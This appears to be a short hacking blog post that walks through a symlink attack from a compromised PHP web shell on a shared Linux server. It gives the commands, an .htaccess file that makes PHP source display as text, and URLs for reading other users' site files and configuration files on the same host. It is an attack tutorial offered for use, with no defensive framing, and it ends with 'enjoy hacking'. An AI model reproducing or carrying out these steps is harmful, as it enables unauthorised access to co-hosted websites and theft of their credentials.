1 .we have a shell in a linux server and is Safe Mode OFF , if its not off Off put the file php.ini , and Disable Functions : None
Code:
http://www.website.com/shell.php
and directory :
/home/ueb/public_html/
2 . create a directory and name it "r00t" with shell with this comand in the "Command Execution"
mkdir r00t
3 . now we have to go in the directory :
Code:
/home/ueb/public_html/r00t
4 . we write this code in notepad in ouer compurer and save ti as . htaccess this is for allow us to make symlink and reed php files in server
Code:
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php
we save the file as "All Files" name it whatever .htaccess
5 . in this file .htaccess this file will be upload at the server in the directory " "r00t" we mak this in the option Upload on shell.
we make sure that we upload .htaccess in the root directory and not in other directorys like /home/ueb/public_html/ !
6. After that , we type this commant in shell :
Code:
ln -s / root
with this we will create a Symlink of root in serverit .
7 . now we see what we have done :
Code:
http://website.com/r00t/root/
like we see root of server ! now we go in /home and see the users and other thing we can take the control in others website that are in the same server in the server we have the shell . if in directory /home see that is Forbidden , than change the url like this :
Code:
http://website.com/r00t/root/home/uebiobjektiv/public_html
now see the files in target !
click in the document that have configuration
Code:
website..com/r00t/root/home/uebiobjektiv/public_html/install.php
enjoy hacking....
0 comments:
Post a Comment